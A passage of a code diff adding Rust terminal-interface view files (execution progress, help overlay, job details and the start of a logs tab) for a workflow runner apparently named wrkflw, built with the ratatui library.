+                WorkflowStatus::Running => Color::Cyan,
+                WorkflowStatus::Success => Color::Green,
+                WorkflowStatus::Failed => Color::Red,
+                _ => Color::Gray,
+            };
+
+            let progress_text = match workflow.status {
+                WorkflowStatus::Running => format!("{:.0}%", progress * 100.0),
+                WorkflowStatus::Success => "Completed".to_string(),
+                WorkflowStatus::Failed => "Failed".to_string(),
+                _ => "Not started".to_string(),
+            };
+
+            // Add empty line before progress bar
+            workflow_info.push(Line::from(""));
+
+            // Add the gauge widget to the paragraph data
+            workflow_info.push(Line::from(vec![Span::styled(
+                format!("Progress: {}", progress_text),
+                Style::default().fg(Color::Blue),
+            )]));
+
+            let gauge = Gauge::default()
+                .block(Block::default())
+                .gauge_style(Style::default().fg(gauge_color).bg(Color::Black))
+                .percent((progress * 100.0) as u16);
+
+            // Render gauge separately after the paragraph
+            let workflow_info_widget = Paragraph::new(workflow_info).block(
+                Block::default()
+                    .borders(Borders::ALL)
+                    .border_type(BorderType::Rounded)
+                    .title(Span::styled(
+                        " Workflow Information ",
+                        Style::default().fg(Color::Yellow),
+                    )),
+            );
+
+            let gauge_area = Rect {
+                x: chunks[0].x + 2,
+                y: chunks[0].y + 4,
+                width: chunks[0].width - 4,
+                height: 1,
+            };
+
+            f.render_widget(workflow_info_widget, chunks[0]);
+            f.render_widget(gauge, gauge_area);
+
+            // Jobs list section
+            if execution.jobs.is_empty() {
+                let placeholder = Paragraph::new("No jobs have started execution yet...")
+                    .block(
+                        Block::default()
+                            .borders(Borders::ALL)
+                            .border_type(BorderType::Rounded)
+                            .title(Span::styled(" Jobs ", Style::default().fg(Color::Yellow))),
+                    )
+                    .alignment(Alignment::Center);
+                f.render_widget(placeholder, chunks[1]);
+            } else {
+                let job_items: Vec<ListItem> = execution
+                    .jobs
+                    .iter()
+                    .map(|job| {
+                        let status_symbol = match job.status {
+                            wrkflw_executor::JobStatus::Success => "✅",
+                            wrkflw_executor::JobStatus::Failure => "❌",
+                            wrkflw_executor::JobStatus::Skipped => "⏭",
+                        };
+
+                        let status_style = match job.status {
+                            wrkflw_executor::JobStatus::Success => {
+                                Style::default().fg(Color::Green)
+                            }
+                            wrkflw_executor::JobStatus::Failure => Style::default().fg(Color::Red),
+                            wrkflw_executor::JobStatus::Skipped => Style::default().fg(Color::Gray),
+                        };
+
+                        // Count completed and total steps
+                        let total_steps = job.steps.len();
+                        let completed_steps = job
+                            .steps
+                            .iter()
+                            .filter(|s| {
+                                s.status == wrkflw_executor::StepStatus::Success
+                                    || s.status == wrkflw_executor::StepStatus::Failure
+                            })
+                            .count();
+
+                        let steps_info = format!("[{}/{}]", completed_steps, total_steps);
+
+                        ListItem::new(Line::from(vec![
+                            Span::styled(status_symbol, status_style),
+                            Span::raw(" "),
+                            Span::styled(&job.name, Style::default().fg(Color::White)),
+                            Span::raw(" "),
+                            Span::styled(steps_info, Style::default().fg(Color::DarkGray)),
+                        ]))
+                    })
+                    .collect();
+
+                let jobs_list = List::new(job_items)
+                    .block(
+                        Block::default()
+                            .borders(Borders::ALL)
+                            .border_type(BorderType::Rounded)
+                            .title(Span::styled(" Jobs ", Style::default().fg(Color::Yellow))),
+                    )
+                    .highlight_style(
+                        Style::default()
+                            .bg(Color::DarkGray)
+                            .add_modifier(Modifier::BOLD),
+                    )
+                    .highlight_symbol("» ");
+
+                f.render_stateful_widget(jobs_list, chunks[1], &mut app.job_list_state);
+            }
+
+            // Execution info section
+            let mut execution_info = Vec::new();
+
+            execution_info.push(Line::from(vec![
+                Span::styled("Started: ", Style::default().fg(Color::Blue)),
+                Span::styled(
+                    execution.start_time.format("%Y-%m-%d %H:%M:%S").to_string(),
+                    Style::default().fg(Color::White),
+                ),
+            ]));
+
+            if let Some(end_time) = execution.end_time {
+                execution_info.push(Line::from(vec![
+                    Span::styled("Finished: ", Style::default().fg(Color::Blue)),
+                    Span::styled(
+                        end_time.format("%Y-%m-%d %H:%M:%S").to_string(),
+                        Style::default().fg(Color::White),
+                    ),
+                ]));
+
+                // Calculate duration
+                let duration = end_time.signed_duration_since(execution.start_time);
+                execution_info.push(Line::from(vec![
+                    Span::styled("Duration: ", Style::default().fg(Color::Blue)),
+                    Span::styled(
+                        format!(
+                            "{}m {}s",
+                            duration.num_minutes(),
+                            duration.num_seconds() % 60
+                        ),
+                        Style::default().fg(Color::White),
+                    ),
+                ]));
+            } else {
+                // Show running time for active workflows
+                let current_time = chrono::Local::now();
+                let running_time = current_time.signed_duration_since(execution.start_time);
+                execution_info.push(Line::from(vec![
+                    Span::styled("Running for: ", Style::default().fg(Color::Blue)),
+                    Span::styled(
+                        format!(
+                            "{}m {}s",
+                            running_time.num_minutes(),
+                            running_time.num_seconds() % 60
+                        ),
+                        Style::default().fg(Color::White),
+                    ),
+                ]));
+            }
+
+            // Add hint for Enter key to see details
+            execution_info.push(Line::from(""));
+            execution_info.push(Line::from(vec![
+                Span::styled("Press ", Style::default().fg(Color::DarkGray)),
+                Span::styled("Enter", Style::default().fg(Color::Yellow)),
+                Span::styled(" to view job details", Style::default().fg(Color::DarkGray)),
+            ]));
+
+            let info_widget = Paragraph::new(execution_info).block(
+                Block::default()
+                    .borders(Borders::ALL)
+                    .border_type(BorderType::Rounded)
+                    .title(Span::styled(
+                        " Execution Information ",
+                        Style::default().fg(Color::Yellow),
+                    )),
+            );
+
+            f.render_widget(info_widget, chunks[2]);
+        } else {
+            // No workflow execution to display
+            let workflow_info_widget = Paragraph::new(workflow_info).block(
+                Block::default()
+                    .borders(Borders::ALL)
+                    .border_type(BorderType::Rounded)
+                    .title(Span::styled(
+                        " Workflow Information ",
+                        Style::default().fg(Color::Yellow),
+                    )),
+            );
+
+            f.render_widget(workflow_info_widget, chunks[0]);
+
+            // No execution details to display
+            let placeholder = Paragraph::new(vec![
+                Line::from(""),
+                Line::from(vec![Span::styled(
+                    "No execution data available.",
+                    Style::default()
+                        .fg(Color::Yellow)
+                        .add_modifier(Modifier::BOLD),
+                )]),
+                Line::from(""),
+                Line::from("Press 'Enter' to run this workflow."),
+                Line::from(""),
+            ])
+            .block(
+                Block::default()
+                    .borders(Borders::ALL)
+                    .border_type(BorderType::Rounded)
+                    .title(Span::styled(" Jobs ", Style::default().fg(Color::Yellow))),
+            )
+            .alignment(Alignment::Center);
+
+            f.render_widget(placeholder, chunks[1]);
+
+            // Execution information
+            let info_widget = Paragraph::new(vec![
+                Line::from(""),
+                Line::from(vec![Span::styled(
+                    "No execution has been started.",
+                    Style::default().fg(Color::Yellow),
+                )]),
+                Line::from(""),
+                Line::from("Press 'Enter' in the Workflows tab to run,"),
+                Line::from("or 't' to trigger on GitHub."),
+            ])
+            .block(
+                Block::default()
+                    .borders(Borders::ALL)
+                    .border_type(BorderType::Rounded)
+                    .title(Span::styled(
+                        " Execution Information ",
+                        Style::default().fg(Color::Yellow),
+                    )),
+            )
+            .alignment(Alignment::Center);
+
+            f.render_widget(info_widget, chunks[2]);
+        }
+    } else {
+        // No workflow execution to display
+        let placeholder = Paragraph::new(vec![
+            Line::from(""),
+            Line::from(vec![Span::styled(
+                "No workflow execution data available.",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            )]),
+            Line::from(""),
+            Line::from("Select workflows in the Workflows tab and press 'r' to run them."),
+            Line::from(""),
+            Line::from("Or press Enter on a selected workflow to run it directly."),
+            Line::from(""),
+            Line::from("You can also press 't' to trigger a workflow on GitHub remotely."),
+        ])
+        .block(
+            Block::default()
+                .borders(Borders::ALL)
+                .border_type(BorderType::Rounded)
+                .title(Span::styled(
+                    " Execution ",
+                    Style::default().fg(Color::Yellow),
+                )),
+        )
+        .alignment(Alignment::Center);
+
+        f.render_widget(placeholder, area);
+    }
+}

crates/ui/src/views/help_overlay.rs

@@ -0,0 +1,458 @@
+// Help overlay rendering
+use ratatui::{
+    backend::CrosstermBackend,
+    layout::{Constraint, Direction, Layout, Rect},
+    style::{Color, Modifier, Style},
+    text::{Line, Span},
+    widgets::{Block, BorderType, Borders, Paragraph, Wrap},
+    Frame,
+};
+use std::io;
+
+// Render the help tab with scroll support
+pub fn render_help_content(
+    f: &mut Frame<CrosstermBackend<io::Stdout>>,
+    area: Rect,
+    scroll_offset: usize,
+) {
+    // Split the area into columns for better organization
+    let chunks = Layout::default()
+        .direction(Direction::Horizontal)
+        .constraints([Constraint::Percentage(50), Constraint::Percentage(50)].as_ref())
+        .split(area);
+
+    // Left column content
+    let left_help_text = vec![
+        Line::from(Span::styled(
+            "🗂  NAVIGATION",
+            Style::default()
+                .fg(Color::Cyan)
+                .add_modifier(Modifier::BOLD),
+        )),
+        Line::from(""),
+        Line::from(vec![
+            Span::styled(
+                "Tab / Shift+Tab",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Switch between tabs"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "1-4 / w,x,l,h",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Jump to specific tab"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "↑/↓ or k/j",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Navigate lists"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "Enter",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Select/View details"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "Esc",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Back/Exit help"),
+        ]),
+        Line::from(""),
+        Line::from(Span::styled(
+            "🚀 WORKFLOW MANAGEMENT",
+            Style::default()
+                .fg(Color::Green)
+                .add_modifier(Modifier::BOLD),
+        )),
+        Line::from(""),
+        Line::from(vec![
+            Span::styled(
+                "Space",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Toggle workflow selection"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "r",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Run selected workflows"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "a",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Select all workflows"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "n",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Deselect all workflows"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "Shift+R",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Reset workflow status"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "t",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Trigger remote workflow"),
+        ]),
+        Line::from(""),
+        Line::from(Span::styled(
+            "🔧 EXECUTION MODES",
+            Style::default()
+                .fg(Color::Magenta)
+                .add_modifier(Modifier::BOLD),
+        )),
+        Line::from(""),
+        Line::from(vec![
+            Span::styled(
+                "e",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Toggle emulation mode"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "v",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Toggle validation mode"),
+        ]),
+        Line::from(""),
+        Line::from(vec![Span::styled(
+            "Runtime Modes:",
+            Style::default()
+                .fg(Color::White)
+                .add_modifier(Modifier::BOLD),
+        )]),
+        Line::from(vec![
+            Span::raw("  • "),
+            Span::styled("Docker", Style::default().fg(Color::Blue)),
+            Span::raw(" - Container isolation (default)"),
+        ]),
+        Line::from(vec![
+            Span::raw("  • "),
+            Span::styled("Podman", Style::default().fg(Color::Blue)),
+            Span::raw(" - Rootless containers"),
+        ]),
+        Line::from(vec![
+            Span::raw("  • "),
+            Span::styled("Emulation", Style::default().fg(Color::Red)),
+            Span::raw(" - Process mode (UNSAFE)"),
+        ]),
+        Line::from(vec![
+            Span::raw("  • "),
+            Span::styled("Secure Emulation", Style::default().fg(Color::Yellow)),
+            Span::raw(" - Sandboxed processes"),
+        ]),
+    ];
+
+    // Right column content
+    let right_help_text = vec![
+        Line::from(Span::styled(
+            "📄 LOGS & SEARCH",
+            Style::default()
+                .fg(Color::Blue)
+                .add_modifier(Modifier::BOLD),
+        )),
+        Line::from(""),
+        Line::from(vec![
+            Span::styled(
+                "s",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Toggle log search"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "f",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Toggle log filter"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "c",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Clear search & filter"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "n",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Next search match"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "↑/↓",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Scroll logs/Navigate"),
+        ]),
+        Line::from(""),
+        Line::from(Span::styled(
+            "ℹ️  TAB OVERVIEW",
+            Style::default()
+                .fg(Color::White)
+                .add_modifier(Modifier::BOLD),
+        )),
+        Line::from(""),
+        Line::from(vec![
+            Span::styled(
+                "1. Workflows",
+                Style::default()
+                    .fg(Color::Cyan)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Browse & select workflows"),
+        ]),
+        Line::from(vec![Span::raw("   • View workflow files")]),
+        Line::from(vec![Span::raw("   • Select multiple for batch execution")]),
+        Line::from(vec![Span::raw("   • Trigger remote workflows")]),
+        Line::from(""),
+        Line::from(vec![
+            Span::styled(
+                "2. Execution",
+                Style::default()
+                    .fg(Color::Green)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Monitor job progress"),
+        ]),
+        Line::from(vec![Span::raw("   • View job status and details")]),
+        Line::from(vec![Span::raw("   • Enter job details with Enter")]),
+        Line::from(vec![Span::raw("   • Navigate step execution")]),
+        Line::from(""),
+        Line::from(vec![
+            Span::styled(
+                "3. Logs",
+                Style::default()
+                    .fg(Color::Blue)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - View execution logs"),
+        ]),
+        Line::from(vec![Span::raw("   • Search and filter logs")]),
+        Line::from(vec![Span::raw("   • Real-time log streaming")]),
+        Line::from(vec![Span::raw("   • Navigate search results")]),
+        Line::from(""),
+        Line::from(vec![
+            Span::styled(
+                "4. Help",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - This comprehensive guide"),
+        ]),
+        Line::from(""),
+        Line::from(Span::styled(
+            "🎯 QUICK ACTIONS",
+            Style::default().fg(Color::Red).add_modifier(Modifier::BOLD),
+        )),
+        Line::from(""),
+        Line::from(vec![
+            Span::styled(
+                "?",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Toggle help overlay"),
+        ]),
+        Line::from(vec![
+            Span::styled(
+                "q",
+                Style::default()
+                    .fg(Color::Yellow)
+                    .add_modifier(Modifier::BOLD),
+            ),
+            Span::raw(" - Quit application"),
+        ]),
+        Line::from(""),
+        Line::from(Span::styled(
+            "💡 TIPS",
+            Style::default()
+                .fg(Color::Yellow)
+                .add_modifier(Modifier::BOLD),
+        )),
+        Line::from(""),
+        Line::from(vec![
+            Span::raw("• Use "),
+            Span::styled("emulation mode", Style::default().fg(Color::Red)),
+            Span::raw(" when containers"),
+        ]),
+        Line::from(vec![Span::raw("  are unavailable or for quick testing")]),
+        Line::from(""),
+        Line::from(vec![
+            Span::raw("• "),
+            Span::styled("Secure emulation", Style::default().fg(Color::Yellow)),
+            Span::raw(" provides sandboxing"),
+        ]),
+        Line::from(vec![Span::raw("  for untrusted workflows")]),
+        Line::from(""),
+        Line::from(vec![
+            Span::raw("• Use "),
+            Span::styled("validation mode", Style::default().fg(Color::Green)),
+            Span::raw(" to check"),
+        ]),
+        Line::from(vec![Span::raw("  workflows without execution")]),
+        Line::from(""),
+        Line::from(vec![
+            Span::raw("• "),
+            Span::styled("Preserve containers", Style::default().fg(Color::Blue)),
+            Span::raw(" on failure"),
+        ]),
+        Line::from(vec![Span::raw("  for debugging (Docker/Podman only)")]),
+    ];
+
+    // Apply scroll offset to the content
+    let left_help_text = if scroll_offset < left_help_text.len() {
+        left_help_text.into_iter().skip(scroll_offset).collect()
+    } else {
+        vec![Line::from("")]
+    };
+
+    let right_help_text = if scroll_offset < right_help_text.len() {
+        right_help_text.into_iter().skip(scroll_offset).collect()
+    } else {
+        vec![Line::from("")]
+    };
+
+    // Render left column
+    let left_widget = Paragraph::new(left_help_text)
+        .block(
+            Block::default()
+                .borders(Borders::ALL)
+                .border_type(BorderType::Rounded)
+                .title(Span::styled(
+                    " WRKFLW Help - Controls & Features ",
+                    Style::default()
+                        .fg(Color::Yellow)
+                        .add_modifier(Modifier::BOLD),
+                )),
+        )
+        .wrap(Wrap { trim: true });
+
+    // Render right column
+    let right_widget = Paragraph::new(right_help_text)
+        .block(
+            Block::default()
+                .borders(Borders::ALL)
+                .border_type(BorderType::Rounded)
+                .title(Span::styled(
+                    " Interface Guide & Tips ",
+                    Style::default()
+                        .fg(Color::Cyan)
+                        .add_modifier(Modifier::BOLD),
+                )),
+        )
+        .wrap(Wrap { trim: true });
+
+    f.render_widget(left_widget, chunks[0]);
+    f.render_widget(right_widget, chunks[1]);
+}
+
+// Render a help overlay
+pub fn render_help_overlay(f: &mut Frame<CrosstermBackend<io::Stdout>>, scroll_offset: usize) {
+    let size = f.size();
+
+    // Create a larger centered modal to accommodate comprehensive help content
+    let width = (size.width * 9 / 10).min(120); // Use 90% of width, max 120 chars
+    let height = (size.height * 9 / 10).min(40); // Use 90% of height, max 40 lines
+    let x = (size.width - width) / 2;
+    let y = (size.height - height) / 2;
+
+    let help_area = Rect {
+        x,
+        y,
+        width,
+        height,
+    };
+
+    // Create a semi-transparent dark background for better visibility
+    let clear = Block::default().style(Style::default().bg(Color::Black));
+    f.render_widget(clear, size);
+
+    // Add a border around the entire overlay for better visual separation
+    let overlay_block = Block::default()
+        .borders(Borders::ALL)
+        .border_type(BorderType::Double)
+        .style(Style::default().bg(Color::Black).fg(Color::White))
+        .title(Span::styled(
+            " Press ? or Esc to close help ",
+            Style::default()
+                .fg(Color::Gray)
+                .add_modifier(Modifier::ITALIC),
+        ));
+
+    f.render_widget(overlay_block, help_area);
+
+    // Create inner area for content
+    let inner_area = Rect {
+        x: help_area.x + 1,
+        y: help_area.y + 1,
+        width: help_area.width.saturating_sub(2),
+        height: help_area.height.saturating_sub(2),
+    };
+
+    // Render the help content with scroll support
+    render_help_content(f, inner_area, scroll_offset);
+}

crates/ui/src/views/job_detail.rs

@@ -0,0 +1,211 @@
+// Job detail view rendering
+use crate::app::App;
+use ratatui::{
+    backend::CrosstermBackend,
+    layout::{Constraint, Direction, Layout, Rect},
+    style::{Color, Modifier, Style},
+    text::{Line, Span},
+    widgets::{Block, BorderType, Borders, Paragraph, Row, Table},
+    Frame,
+};
+use std::io;
+
+// Render the job detail view
+pub fn render_job_detail_view(
+    f: &mut Frame<CrosstermBackend<io::Stdout>>,
+    app: &mut App,
+    area: Rect,
+) {
+    // Get the workflow index either from current_execution or selected workflow
+    let current_workflow_idx = app
+        .current_execution
+        .or_else(|| app.workflow_list_state.selected())
+        .filter(|&idx| idx < app.workflows.len());
+
+    if let Some(workflow_idx) = current_workflow_idx {
+        // Only proceed if we have execution details
+        if let Some(execution) = &app.workflows[workflow_idx].execution_details {
+            // Only proceed if we have a valid job selection
+            if let Some(job_idx) = app.job_list_state.selected() {
+                if job_idx < execution.jobs.len() {
+                    let job = &execution.jobs[job_idx];
+
+                    // Split the area into sections
+                    let chunks = Layout::default()
+                        .direction(Direction::Vertical)
+                        .constraints(
+                            [
+                                Constraint::Length(3), // Job title
+                                Constraint::Min(5),    // Steps table
+                                Constraint::Length(8), // Step details
+                            ]
+                            .as_ref(),
+                        )
+                        .margin(1)
+                        .split(area);
+
+                    // Job title section
+                    let status_text = match job.status {
+                        wrkflw_executor::JobStatus::Success => "Success",
+                        wrkflw_executor::JobStatus::Failure => "Failed",
+                        wrkflw_executor::JobStatus::Skipped => "Skipped",
+                    };
+
+                    let status_style = match job.status {
+                        wrkflw_executor::JobStatus::Success => Style::default().fg(Color::Green),
+                        wrkflw_executor::JobStatus::Failure => Style::default().fg(Color::Red),
+                        wrkflw_executor::JobStatus::Skipped => Style::default().fg(Color::Yellow),
+                    };
+
+                    let job_title = Paragraph::new(vec![
+                        Line::from(vec![
+                            Span::styled("Job: ", Style::default().fg(Color::Blue)),
+                            Span::styled(
+                                job.name.clone(),
+                                Style::default()
+                                    .fg(Color::White)
+                                    .add_modifier(Modifier::BOLD),
+                            ),
+                            Span::raw(" ("),
+                            Span::styled(status_text, status_style),
+                            Span::raw(")"),
+                        ]),
+                        Line::from(vec![
+                            Span::styled("Steps: ", Style::default().fg(Color::Blue)),
+                            Span::styled(
+                                format!("{}", job.steps.len()),
+                                Style::default().fg(Color::White),
+                            ),
+                        ]),
+                    ])
+                    .block(
+                        Block::default()
+                            .borders(Borders::ALL)
+                            .border_type(BorderType::Rounded)
+                            .title(Span::styled(
+                                " Job Details ",
+                                Style::default().fg(Color::Yellow),
+                            )),
+                    );
+
+                    f.render_widget(job_title, chunks[0]);
+
+                    // Steps section
+                    let header_cells = ["Status", "Step Name"].iter().map(|h| {
+                        ratatui::widgets::Cell::from(*h).style(Style::default().fg(Color::Yellow))
+                    });
+
+                    let header = Row::new(header_cells)
+                        .style(Style::default().add_modifier(Modifier::BOLD))
+                        .height(1);
+
+                    let rows = job.steps.iter().map(|step| {
+                        let status_symbol = match step.status {
+                            wrkflw_executor::StepStatus::Success => "✅",
+                            wrkflw_executor::StepStatus::Failure => "❌",
+                            wrkflw_executor::StepStatus::Skipped => "⏭",
+                        };
+
+                        let status_style = match step.status {
+                            wrkflw_executor::StepStatus::Success => {
+                                Style::default().fg(Color::Green)
+                            }
+                            wrkflw_executor::StepStatus::Failure => Style::default().fg(Color::Red),
+                            wrkflw_executor::StepStatus::Skipped => {
+                                Style::default().fg(Color::Gray)
+                            }
+                        };
+
+                        Row::new(vec![
+                            ratatui::widgets::Cell::from(status_symbol).style(status_style),
+                            ratatui::widgets::Cell::from(step.name.clone()),
+                        ])
+                    });
+
+                    let steps_table = Table::new(rows)
+                        .header(header)
+                        .block(
+                            Block::default()
+                                .borders(Borders::ALL)
+                                .border_type(BorderType::Rounded)
+                                .title(Span::styled(" Steps ", Style::default().fg(Color::Yellow))),
+                        )
+                        .highlight_style(
+                            Style::default()
+                                .bg(Color::DarkGray)
+                                .add_modifier(Modifier::BOLD),
+                        )
+                        .highlight_symbol("» ")
+                        .widths(&[
+                            Constraint::Length(8),      // Status icon column
+                            Constraint::Percentage(92), // Name column
+                        ]);
+
+                    // We need to use the table state from the app
+                    f.render_stateful_widget(steps_table, chunks[1], &mut app.step_table_state);
+
+                    // Step detail section
+                    if let Some(step_idx) = app.step_table_state.selected() {
+                        if step_idx < job.steps.len() {
+                            let step = &job.steps[step_idx];
+
+                            // Show step output with proper styling
+                            let status_text = match step.status {
+                                wrkflw_executor::StepStatus::Success => "Success",
+                                wrkflw_executor::StepStatus::Failure => "Failed",
+                                wrkflw_executor::StepStatus::Skipped => "Skipped",
+                            };
+
+                            let status_style = match step.status {
+                                wrkflw_executor::StepStatus::Success => {
+                                    Style::default().fg(Color::Green)
+                                }
+                                wrkflw_executor::StepStatus::Failure => {
+                                    Style::default().fg(Color::Red)
+                                }
+                                wrkflw_executor::StepStatus::Skipped => {
+                                    Style::default().fg(Color::Yellow)
+                                }
+                            };
+
+                            let mut output_text = step.output.clone();
+                            // Truncate if too long
+                            if output_text.len() > 1000 {
+                                output_text = format!("{}... [truncated]", &output_text[..1000]);
+                            }
+
+                            let step_detail = Paragraph::new(vec![
+                                Line::from(vec![
+                                    Span::styled("Step: ", Style::default().fg(Color::Blue)),
+                                    Span::styled(
+                                        step.name.clone(),
+                                        Style::default()
+                                            .fg(Color::White)
+                                            .add_modifier(Modifier::BOLD),
+                                    ),
+                                    Span::raw(" ("),
+                                    Span::styled(status_text, status_style),
+                                    Span::raw(")"),
+                                ]),
+                                Line::from(""),
+                                Line::from(output_text),
+                            ])
+                            .block(
+                                Block::default()
+                                    .borders(Borders::ALL)
+                                    .border_type(BorderType::Rounded)
+                                    .title(Span::styled(
+                                        " Step Output ",
+                                        Style::default().fg(Color::Yellow),
+                                    )),
+                            )
+                            .wrap(ratatui::widgets::Wrap { trim: false });
+
+                            f.render_widget(step_detail, chunks[2]);
+                        }
+                    }
+                }
+            }
+        }
+    }
+}

crates/ui/src/views/logs_tab.rs

@@ -0,0 +1,209 @@
+// Logs tab rendering
+use crate::app::App;
+use ratatui::{
+    backend::CrosstermBackend,
+    layout::{Alignment, Constraint, Direction, Layout, Rect},
+    style::{Color, Modifier, Style},
+    text::{Line, Span},
+    widgets::{Block, BorderType, Borders, Cell, Paragraph, Row, Table, TableState},
+    Frame,
+};
+use std::io;
+
+// Render the logs tab
+pub fn render_logs_tab(f: &mut Frame<CrosstermBackend<io::Stdout>>, app: &App, area: Rect) {
+    // Split the area into header, search bar (optionally shown), and log content
+    let chunks = Layout::default()
+        .direction(Direction::Vertical)
+        .constraints(
+            [
+                Constraint::Length(3), // Header with instructions
+                Constraint::Length(
+                    if app.log_search_active
+                        || !app.log_search_query.is_empty()
+                        || app.log_filter_level.is_some()
+                    {
+                        3
+                    } else {
+                        0
+                    },
+                ), // Search bar (optional)
+                Constraint::Min(3),    // Logs content
+            ]
+            .as_ref(),
+        )
+        .margin(1)
+        .split(area);
+
+    // Determine if search/filter bar should be shown
+    let show_search_bar =
+        app.log_search_active || !app.log_search_query.is_empty() || app.log_filter_level.is_some();
+
+    // Render header with instructions
+    let mut header_text = vec![
+        Line::from(vec![Span::styled(
+            "Execution and System Logs",
+            Style::default()
+                .fg(Color::Yellow)
+                .add_modifier(Modifier::BOLD),
+        )]),
+        Line::from(vec![
+            Span::styled("↑/↓", Style::default().fg(Color::Cyan)),
+            Span::raw(" or "),
+            Span::styled("j/k", Style::default().fg(Color::Cyan)),
+            Span::raw(": Navigate logs/matches   "),
+            Span::styled("s", Style::default().fg(Color::Cyan)),
+            Span::raw(": Search   "),
+            Span::styled("f", Style::default().fg(Color::Cyan)),
+            Span::raw(": Filter   "),
+            Span::styled("Tab", Style::default().fg(Color::Cyan)),
+            Span::raw(": Switch tabs"),
+        ]),
+    ];
+
+    if show_search_bar {
+        header_text.push(Line::from(vec![
+            Span::styled("Enter", Style::default().fg(Color::Cyan)),
+            Span::raw(": Apply search   "),
+            Span::styled("Esc", Style::default().fg(Color::Cyan)),
+            Span::raw(": Clear search   "),
+            Span::styled("c", Style::default().fg(Color::Cyan)),
+            Span::raw(": Clear all filters"),
+        ]));
+    }
+
+    let header = Paragraph::new(header_text)
+        .block(
+            Block::default()
+                .borders(Borders::ALL)
+                .border_type(BorderType::Rounded),
+        )
+        .alignment(Alignment::Center);
+
+    f.render_widget(header, chunks[0]);
+
+    // Render search bar if active or has content
+    if show_search_bar {
+        let search_text = if app.log_search_active {
+            format!("Search: {}█", app.log_search_query)
+        } else {
+            format!("Search: {}", app.log_search_query)
+        };
+
+        let filter_text = match &app.log_filter_level {
+            Some(level) => format!("Filter: {}", level.to_string()),
+            None => "No filter".to_string(),
+        };
+
+        let match_info = if !app.log_search_matches.is_empty() {
+            format!(
+                "Matches: {}/{}",
+                app.log_search_match_idx + 1,
+                app.log_search_matches.len()
+            )
+        } else if !app.log_search_query.is_empty() {
+            "No matches".to_string()
+        } else {
+            "".to_string()
+        };
+
+        let search_info = Line::from(vec![
+            Span::raw(search_text),
+            Span::raw("   "),
+            Span::styled(
+                filter_text,
+                Style::default().fg(match &app.log_filter_level {
+                    Some(crate::models::LogFilterLevel::Error) => Color::Red,
+                    Some(crate::models::LogFilterLevel::Warning) => Color::Yellow,
+                    Some(crate::models::LogFilterLevel::Info) => Color::Cyan,
+                    Some(crate::models::LogFilterLevel::Success) => Color::Green,
+                    Some(crate::models::LogFilterLevel::Trigger) => Color::Magenta,
+                    Some(crate::models::LogFilterLevel::All) | None => Color::Gray,
+                }),
+            ),
+            Span::raw("   "),
+            Span::styled(match_info, Style::default().fg(Color::Magenta)),
+        ]);
+
+        let search_block = Paragraph::new(search_info)
+            .block(
+                Block::default()
+                    .borders(Borders::ALL)
+                    .border_type(BorderType::Rounded)
+                    .title(Span::styled(
+                        " Search & Filter ",
+                        Style::default().fg(Color::Yellow),
+                    )),
+            )
+            .alignment(Alignment::Left);
+
+        f.render_widget(search_block, chunks[1]);
+    }
+
+    // Use processed logs from background thread instead of processing on every frame
+    let filtered_logs = &app.processed_logs;
+
+    // Create a table for logs for better organization
